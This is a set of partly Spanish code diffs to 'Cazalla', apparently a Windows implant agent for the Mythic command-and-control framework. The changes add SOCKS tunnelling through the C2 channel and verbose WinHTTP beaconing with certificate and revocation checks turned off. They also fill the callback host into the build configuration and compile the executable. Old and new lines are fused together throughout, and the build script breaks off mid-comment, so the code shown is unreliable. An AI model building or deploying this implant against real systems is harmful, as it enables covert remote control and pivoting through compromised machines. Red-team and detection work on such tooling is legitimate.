#ifndef SOCKS_MANAGER_H
#define SOCKS_MANAGER_H
#include <stdint.h>
#include <stddef.h>
/* ==== Estructura básica de mensaje SOCKS ==== */
typedef struct socks_msg_s {
uint32_t server_id;
int exit_flag;
unsigned char *data;
size_t data_len;
} socks_msg_t;
/* ==== Callbacks ==== */
typedef void (*socks_send_cb_t)(
uint32_t server_id,
int exit_flag,
const unsigned char *data,
size_t data_len,
void *ctx
);
/* ==== Estado global ==== */
extern volatile int socks_proxy_active; // indica si el proxy SOCKS está activo
/* ==== API pública ==== */
void socks_manager_init(void);
void socks_manager_cleanup(void);
int socks_manager_process_incoming(
uint32_t server_id,
int exit_flag,
const unsigned char *data,
size_t data_len
);
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx);
int socks_manager_start_proxy(uint16_t local_port);
int socks_manager_stop_proxy(void);
#endif /* SOCKS_MANAGER_H */
@@ -1,15 +1,47 @@
#include "transporte.h" #include "transporte.h"
#include "socks_manager.h"
#define _WIN32_WINNT 0x0602
#include <winhttp.h>
#ifndef WINHTTP_OPTION_ENABLE_SSL_REVOCATION
#define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70
#endif
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[TRPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
/* =======================================================
Obtener código de estado HTTP
======================================================= */
int obtenerCodigoDeEstado(HANDLE hPeticion) { int obtenerCodigoDeEstado(HANDLE hPeticion) {
DWORD codigoDeEstado = 0; DWORD codigoDeEstado = 0;
DWORD tamanoEstado = sizeof(DWORD); DWORD tamanoEstado = sizeof(DWORD);
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX)) if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
return 0; return 0;
return codigoDeEstado; return codigoDeEstado;
} }
/* =======================================================
Procesar tráfico SOCKS desde respuesta HTTP
======================================================= */
static VOID procesarSocksEntrante(PAnalizador respuesta) {
/* Placeholder desactivado: la estructura Analizador no define bloques.
Mantener función para futuras extensiones sin romper build. */
(void)respuesta;
}
/* =======================================================
Petición HTTP (envío + recepción)
======================================================= */
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
printf("[TRANSPORTE] realizarPeticionHTTP() bufferLen=%u\n", bufferLen);
fflush(stdout);
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL; HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0; DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
PVOID respBuffer = NULL; PVOID respBuffer = NULL;
@@ -17,11 +49,8 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
UCHAR buffer[1024] = { 0 }; UCHAR buffer[1024] = { 0 };
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
// Configuración de Proxy
WINHTTP_PROXY_INFO infoProxy = { 0 }; WINHTTP_PROXY_INFO infoProxy = { 0 };
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 }; WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY; DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME; LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS; LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
@@ -35,31 +64,65 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
httpFlags |= WINHTTP_FLAG_SECURE; httpFlags |= WINHTTP_FLAG_SECURE;
} }
// Crear sesión HTTP printf("[TRANSPORTE] WinHttpOpen()\n");
fflush(stdout);
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) return NULL; if (!hSesion) {
printf("[TRANSPORTE] ERROR: WinHttpOpen falló (%lu)\n", GetLastError());
fflush(stdout);
return NULL;
}
printf("[TRANSPORTE] WinHttpOpen OK\n");
fflush(stdout);
// Conectar al servidor printf("[TRANSPORTE] WinHttpConnect() host=%ls port=%d\n", cazallaConfig->hostName, cazallaConfig->puertoHttp);
fflush(stdout);
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0); hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
if (!hConexion) return NULL; if (!hConexion) {
printf("[TRANSPORTE] ERROR: WinHttpConnect falló (%lu)\n", GetLastError());
fflush(stdout);
WinHttpCloseHandle(hSesion);
return NULL;
}
printf("[TRANSPORTE] WinHttpConnect OK\n");
fflush(stdout);
// Crear petición HTTP/HTTPS printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n",
cazallaConfig->endPoint, cazallaConfig->metodoHttp, httpFlags);
fflush(stdout);
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags); hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
if (!hPeticion) return NULL; if (!hPeticion) {
printf("[TRANSPORTE] ERROR: WinHttpOpenRequest falló (%lu)\n", GetLastError());
fflush(stdout);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL;
}
printf("[TRANSPORTE] WinHttpOpenRequest OK\n");
fflush(stdout);
// Configurar opciones de seguridad si es HTTPS
if (cazallaConfig->SSL) { if (cazallaConfig->SSL) {
printf("[TRANSPORTE] Configurando opciones SSL\n");
fflush(stdout);
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA | DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) {
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD)); printf("[TRANSPORTE] WARNING: WinHttpSetOption SECURITY_FLAGS falló (%lu)\n", GetLastError());
fflush(stdout);
} else {
printf("[TRANSPORTE] SSL flags configurados OK\n");
fflush(stdout);
}
// También configurar para deshabilitar revocación de certificados
DWORD dwEnableSSLRevocCheck = 0;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_ENABLE_SSL_REVOCATION, &dwEnableSSLRevocCheck, sizeof(DWORD));
} }
// Configurar proxy si está habilitado
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) { if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) { if (configuracionProxy.lpszProxy && lstrlenW(configuracionProxy.lpszProxy) != 0) {
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
infoProxy.lpszProxy = configuracionProxy.lpszProxy; infoProxy.lpszProxy = configuracionProxy.lpszProxy;
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass; infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
@@ -67,57 +130,156 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
} }
} }
// Enviar la petición printf("[TRANSPORTE] Enviando %u bytes de datos codificados\n", bufferLen);
fflush(stdout);
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) { if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
_err("WinHttpSendRequest falló con error %u\n", GetLastError()); printf("[TRANSPORTE] ERROR: WinHttpSendRequest falló (%lu)\n", GetLastError());
fflush(stdout);
WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL; return NULL;
} }
printf("[TRANSPORTE] WinHttpSendRequest OK\n");
fflush(stdout);
// Recibir respuesta printf("[TRANSPORTE] Esperando respuesta...\n");
fflush(stdout);
if (!WinHttpReceiveResponse(hPeticion, NULL)) { if (!WinHttpReceiveResponse(hPeticion, NULL)) {
_err("Error al recibir respuesta HTTP\n"); printf("[TRANSPORTE] ERROR: WinHttpReceiveResponse falló (%lu)\n", GetLastError());
fflush(stdout);
WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL; return NULL;
} }
printf("[TRANSPORTE] WinHttpReceiveResponse OK\n");
fflush(stdout);
codigoDeEstado = obtenerCodigoDeEstado(hPeticion); codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
printf("[TRANSPORTE] HTTP status = %lu\n", codigoDeEstado);
fflush(stdout);
if (codigoDeEstado != 200) { if (codigoDeEstado != 200) {
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado); printf("[TRANSPORTE] ERROR: HTTP status no OK --> %lu\n", codigoDeEstado);
fflush(stdout);
WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL; return NULL;
} }
printf("[TRANSPORTE] HTTP status OK (200)\n");
fflush(stdout);
// Leer respuesta
do { do {
dwTamano = 1024; dwTamano = 1024;
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) { if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
_err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError()); _err("WinHttpQueryDataAvailable falló (%lu)\n", GetLastError());
return NULL; break;
} }
if (dwTamano == 0) break;
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) { if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
_err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError()); _err("WinHttpReadData falló (%lu)\n", GetLastError());
return NULL; break;
} }
respSize += dwDescargado; respSize += dwDescargado;
if (!respBuffer) { respBuffer = respBuffer ? LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT)
respBuffer = LocalAlloc(LPTR, respSize); : LocalAlloc(LPTR, respSize);
}
else {
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
}
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado); memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
memset(buffer, 0, 1024); printf("[TRANSPORTE] Recibidos %u bytes (%lu totales)\n", dwDescargado, respSize);
fflush(stdout);
memset(buffer, 0, sizeof(buffer));
} while (dwTamano > 0); } while (dwTamano > 0);
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); printf("[TRANSPORTE] Respuesta total %lu bytes\n", respSize);
return nuevoAnalizador((PBYTE)respBuffer, respSize); fflush(stdout);
} WinHttpCloseHandle(hPeticion);
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) { WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
#ifdef HTTP_TRANSPORT respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
return realizarPeticionHTTP(datos, tamano); PAnalizador analizador = nuevoAnalizador((PBYTE)respBuffer, respSize);
#endif
return NULL; /* Desempaquetar bloque de extensión SOCKS si está presente al final:
[ ... base message ... ][0xF5][Int32 ext_len][ext_bytes]
donde ext_bytes = secuencia de registros: [Int32 sid][Byte exit][Int32 b64len][b64]
*/
printf("[TRANSPORTE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes\n", analizador ? analizador->tamano : 0);
fflush(stdout);
if (analizador && analizador->tamano >= 1 + 4) {
SIZE_T i = analizador->tamano;
/* leer backwards el tamaño y marcador; más simple: parse forwards on a temp cursor */
PBYTE buf = analizador->original;
SIZE_T len = analizador->tamano;
if (len >= 5 && buf[len - (1 + 4)] == (BYTE)SOCKS_BLOCK_MARKER) {
/* This backwards check is brittle; instead, scan from start for marker */
}
SIZE_T cursor = 0;
while (cursor + 5 <= len) {
if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
printf("[TRANSPORTE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor);
fflush(stdout);
if (cursor + 5 > len) break;
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
printf("[TRANSPORTE] Bloque SOCKS: ext_len=%u\n", ext_len);
fflush(stdout);
if (cursor + 5 + ext_len > len) break;
SIZE_T ecur = cursor + 5;
SIZE_T eend = cursor + 5 + ext_len;
while (ecur + 9 <= eend) {
UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
BYTE exitf = buf[ecur+4];
UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
printf("[TRANSPORTE] SOCKS msg: sid=%u exit=%u b64len=%u\n", sid, exitf, b64len);
fflush(stdout);
ecur += 9;
if (ecur + b64len > eend) break;
unsigned char *raw = NULL; size_t raw_len = 0;
char *b64str = NULL;
if (b64len > 0) {
b64str = (char*)LocalAlloc(LPTR, b64len + 1);
if (!b64str) break;
memcpy(b64str, buf + ecur, b64len);
b64str[b64len] = '\0';
printf("[TRANSPORTE] Decodificando base64: %s\n", b64str);
fflush(stdout);
base64_decode(b64str, &raw, &raw_len);
printf("[TRANSPORTE] Base64 decodificado: %zu bytes\n", raw_len);
fflush(stdout);
LocalFree(b64str);
}
printf("[TRANSPORTE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len);
fflush(stdout);
socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
if (raw) LocalFree(raw);
ecur += b64len;
}
/* remove extension from the analyzer's view */
analizador->tamano = cursor; /* trim at marker */
printf("[TRANSPORTE] Bloque SOCKS procesado, tamaño del analizador ajustado a %zu\n", cursor);
fflush(stdout);
break;
}
cursor++;
}
}
printf("[TRANSPORTE] realizarPeticionHTTP() completado\n");
fflush(stdout);
return analizador;
}
/* =======================================================
Función principal de transporte (puente con el resto)
======================================================= */
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT
printf("[TRANSPORTE] mandarYRecibir() len=%zu\n", tamano);
fflush(stdout);
return realizarPeticionHTTP(datos, (UINT32)tamano);
#else
return NULL;
#endif
} }
@@ -6,6 +6,7 @@
#include <winhttp.h> #include <winhttp.h>
#include "cazalla.h" #include "cazalla.h"
#include "analizador.h" #include "analizador.h"
#include "socks_manager.h" // <— añadido
#pragma comment(lib, "winhttp.lib") #pragma comment(lib, "winhttp.lib")
@@ -1,5 +1,11 @@
#include "utils.h" #include "utils.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[UTILDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
@@ -10,26 +16,20 @@ int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
size_t b64tamanoCodificado(size_t inlen) { size_t b64tamanoCodificado(size_t inlen) {
size_t ret; size_t ret;
ret = inlen; ret = inlen;
if (inlen % 3 != 0) if (inlen % 3 != 0)
ret += 3 - (inlen % 3); ret += 3 - (inlen % 3);
ret /= 3; ret /= 3;
ret *= 4; ret *= 4;
return ret; return ret;
} }
int aleatorioInt32(int min, int max) { int aleatorioInt32(int min, int max) {
return (rand() % (max - min + 1)) + min; return (rand() % (max - min + 1)) + min;
} }
char* b64Codificado(const unsigned char* in, SIZE_T len) { char* b64Codificado(const unsigned char* in, SIZE_T len) {
char* out; char* out;
SIZE_T elen; SIZE_T elen;
SIZE_T i; SIZE_T i;
@@ -48,7 +48,6 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) {
out[elen] = '\0'; out[elen] = '\0';
for (i = 0, j = 0; i < len; i += 3, j += 4) { for (i = 0, j = 0; i < len; i += 3, j += 4) {
v = in[i]; v = in[i];
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8; v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8; v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
@@ -56,18 +55,13 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) {
out[j] = b64chars[(v >> 18) & 0x3F]; out[j] = b64chars[(v >> 18) & 0x3F];
out[j + 1] = b64chars[(v >> 12) & 0x3F]; out[j + 1] = b64chars[(v >> 12) & 0x3F];
if (i + 1 < len) { if (i + 1 < len) {
out[j + 2] = b64chars[(v >> 6) & 0x3F]; out[j + 2] = b64chars[(v >> 6) & 0x3F];
} } else {
else {
out[j + 2] = '='; out[j + 2] = '=';
} }
if (i + 2 < len) { if (i + 2 < len) {
out[j + 3] = b64chars[v & 0x3F]; out[j + 3] = b64chars[v & 0x3F];
} } else {
else {
out[j + 3] = '='; out[j + 3] = '=';
} }
} }
@@ -76,7 +70,6 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) {
} }
SIZE_T b64tamanoDecodificado(const char* in) { SIZE_T b64tamanoDecodificado(const char* in) {
SIZE_T len; SIZE_T len;
SIZE_T ret; SIZE_T ret;
SIZE_T i; SIZE_T i;
@@ -91,8 +84,7 @@ SIZE_T b64tamanoDecodificado(const char* in) {
for (i = len; i-- > 0; ) { for (i = len; i-- > 0; ) {
if (in[i] == '=') { if (in[i] == '=') {
ret--; ret--;
} } else {
else {
break; break;
} }
} }
@@ -101,28 +93,14 @@ SIZE_T b64tamanoDecodificado(const char* in) {
} }
int b64IsValidChar(char c) { int b64IsValidChar(char c) {
if (c >= '0' && c <= '9') return 1;
if (c >= '0' && c <= '9') { if (c >= 'A' && c <= 'Z') return 1;
return 1; if (c >= 'a' && c <= 'z') return 1;
} if (c == '+' || c == '/' || c == '=') return 1;
if (c >= 'A' && c <= 'Z') {
return 1;
}
if (c >= 'a' && c <= 'z') {
return 1;
}
if (c == '+' || c == '/' || c == '=') {
return 1;
}
return 0; return 0;
} }
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) { int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
SIZE_T len; SIZE_T len;
SIZE_T i; SIZE_T i;
SIZE_T j; SIZE_T j;
@@ -155,14 +133,12 @@ int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
} }
if (in[i + 3] != '=') { if (in[i + 3] != '=') {
out[j + 2] = v & 0xFF; out[j + 2] = v & 0xFF;
} }
} }
return 1; return 1;
} }
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) { VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
(buffer)[0] = (value >> 24) & 0xFF; (buffer)[0] = (value >> 24) & 0xFF;
(buffer)[1] = (value >> 16) & 0xFF; (buffer)[1] = (value >> 16) & 0xFF;
(buffer)[2] = (value >> 8) & 0xFF; (buffer)[2] = (value >> 8) & 0xFF;
@@ -170,27 +146,67 @@ VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
} }
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) { VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
buffer[7] = value & 0xFF; value >>= 8;
buffer[7] = value & 0xFF; buffer[6] = value & 0xFF; value >>= 8;
value >>= 8; buffer[5] = value & 0xFF; value >>= 8;
buffer[4] = value & 0xFF; value >>= 8;
buffer[6] = value & 0xFF; buffer[3] = value & 0xFF; value >>= 8;
value >>= 8; buffer[2] = value & 0xFF; value >>= 8;
buffer[1] = value & 0xFF; value >>= 8;
buffer[5] = value & 0xFF;
value >>= 8;
buffer[4] = value & 0xFF;
value >>= 8;
buffer[3] = value & 0xFF;
value >>= 8;
buffer[2] = value & 0xFF;
value >>= 8;
buffer[1] = value & 0xFF;
value >>= 8;
buffer[0] = value & 0xFF; buffer[0] = value & 0xFF;
} }
/* =========================================================
Wrappers para interfaz simple de base64 (socks_manager)
- base64_decode: asigna *out con LocalAlloc; devuelve 1 en ok.
- base64_encode: asigna *out_b64 con LocalAlloc; devuelve 1 en ok.
========================================================= */
int base64_decode(const char *b64, unsigned char **out, size_t *out_len) {
if (!b64 || !out || !out_len) return 0;
SIZE_T need = b64tamanoDecodificado(b64);
if (need == 0) {
*out = NULL;
*out_len = 0;
return 1; /* empty input is OK */
}
unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need);
if (!buf) {
DBG_PRINTF("base64_decode: LocalAlloc failed for %zu bytes", need);
return 0;
}
int ok = b64Decodificado(b64, buf, need);
if (!ok) {
LocalFree(buf);
DBG_PRINTF("base64_decode: b64Decodificado failed");
return 0;
}
*out = buf;
*out_len = (size_t)need;
DBG_PRINTF("base64_decode: decoded %zu bytes", *out_len);
return 1;
}
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) {
if ((!data && dlen>0) || !out_b64) return 0;
if (dlen == 0) {
*out_b64 = (char*)LocalAlloc(LPTR, 1);
if (!*out_b64) return 0;
(*out_b64)[0] = '\0';
return 1;
}
char *s = b64Codificado(data, (SIZE_T)dlen);
if (!s) {
DBG_PRINTF("base64_encode: b64Codificado failed");
return 0;
}
/* b64Codificado already uses LocalAlloc in original impl */
*out_b64 = s;
DBG_PRINTF("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
return 1;
}
@@ -5,7 +5,8 @@
#include <stdlib.h> #include <stdlib.h>
#include <time.h> #include <time.h>
#include "debug.h" #include "debug.h"
#include <stdio.h>
#include <string.h>
#ifdef __MINGW64__ #ifdef __MINGW64__
#define BYTESWAP32(x) __builtin_bswap32( x ) #define BYTESWAP32(x) __builtin_bswap32( x )
@@ -24,4 +25,12 @@ int aleatorioInt32(int min, int max);
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value); VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value); VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
/* Wrappers compatibles con la interfaz usada por socks_manager.c */
int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
/* Allocates *out via LocalAlloc; caller must LocalFree(*out). Returns 1 on success, 0 on fail. */
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
/* Sets *out_b64 to a LocalAlloc'd null-terminated string. Returns 1 on success, 0 on fail. */
#endif #endif
@@ -40,7 +40,6 @@ class CazallaAgent(PayloadType):
] ]
async def build(self) -> BuildResponse: async def build(self) -> BuildResponse:
# this function gets called to create an instance of your payload
resp = BuildResponse(status=BuildStatus.Success) resp = BuildResponse(status=BuildStatus.Success)
Config = { Config = {
"payload_uuid": self.uuid, "payload_uuid": self.uuid,
@@ -50,18 +49,17 @@ class CazallaAgent(PayloadType):
"post_uri": "", "post_uri": "",
"headers": [], "headers": [],
"callback_port": 80, "callback_port": 80,
"ssl":False, "ssl": False,
"proxyEnabled": False, "proxyEnabled": False,
"proxy_host": "", "proxy_host": "",
"proxy_user": "", "proxy_user": "",
"proxy_pass": "", "proxy_pass": "",
} }
stdout_err = ""
for c2 in self.c2info: for c2 in self.c2info:
profile = c2.get_c2profile() profile = c2.get_c2profile()
for key, val in c2.get_parameters_dict().items(): for key, val in c2.get_parameters_dict().items():
if isinstance(val, dict) and 'enc_key' in val: if isinstance(val, dict) and 'enc_key' in val:
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else "" encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
else: else:
Config[key] = val Config[key] = val
@@ -69,19 +67,21 @@ class CazallaAgent(PayloadType):
if "https://" in Config["callback_host"]: if "https://" in Config["callback_host"]:
Config["ssl"] = True Config["ssl"] = True
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","") Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
if Config["proxy_host"] != "": if Config["proxy_host"] != "":
Config["proxyEnabled"] = True Config["proxyEnabled"] = True
# create the payload
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid, PayloadUUID=self.uuid,
StepName="Gathering Files", StepName="Gathering Files",
StepStdout="Found all files for payload", StepStdout="Found all files for payload",
StepSuccess=True StepSuccess=True
)) ))
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
copy_tree(str(self.agent_code_path), agent_build_path.name)
# copia el proyecto completo (no solo agent_code)
copy_tree(str(self.agent_path), agent_build_path.name)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid, PayloadUUID=self.uuid,
@@ -89,43 +89,46 @@ class CazallaAgent(PayloadType):
StepStdout="All configuration setting applied", StepStdout="All configuration setting applied",
StepSuccess=True StepSuccess=True
)) ))
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
# 🔧 FIX: rutas corregidas para la estructura agent_code/cazalla/
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
with open(config_path, "r+") as f:
content = f.read() content = f.read()
content = content.replace("%UUID%", Config["payload_uuid"]) content = content.replace("%UUID%", Config["payload_uuid"])
content = content.replace("%HOSTNAME%", Config["callback_host"]) content = content.replace("%HOSTNAME%", Config["callback_host"])
content = content.replace("%ENDPOINT%", Config["post_uri"]) content = content.replace("%ENDPOINT%", Config["post_uri"])
if Config["ssl"]: content = content.replace("%SSL%", "TRUE" if Config["ssl"] else "FALSE")
content = content.replace("%SSL%", "TRUE")
else:
content = content.replace("%SSL%", "FALSE")
content = content.replace("%PORT%", str(Config["callback_port"])) content = content.replace("%PORT%", str(Config["callback_port"]))
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"])) content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
content = content.replace("%USERAGENT%", Config["USER_AGENT"]) content = content.replace("%USERAGENT%", Config["USER_AGENT"])
content = content.replace("%PROXYURL%", Config["proxy_host"]) content = content.replace("%PROXYURL%", Config["proxy_host"])
if Config["proxyEnabled"]: content = content.replace("%PROXYENABLED%", "TRUE" if Config["proxyEnabled"] else "FALSE")
content = content.replace("%PROXYENABLED%", "TRUE")
else:
content = content.replace("%PROXYENABLED%", "FALSE")
f.seek(0) f.seek(0)
f.write(content) f.write(content)
f.truncate() f.truncate()
command = "make -C {} exe".format(agent_build_path.name+"/cazalla") command = f"make -C {agent_build_path.name}/agent_code/cazalla exe"
filename = agent_build_path.name + "/cazalla/build/cazalla.exe" filename = f"{agent_build_path.name}/agent_code/cazalla/build/cazalla.exe"
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE) # proc = await asyncio.create_subprocess_shell(
# command,
# stdout=asyncio.subprocess.PIPE,
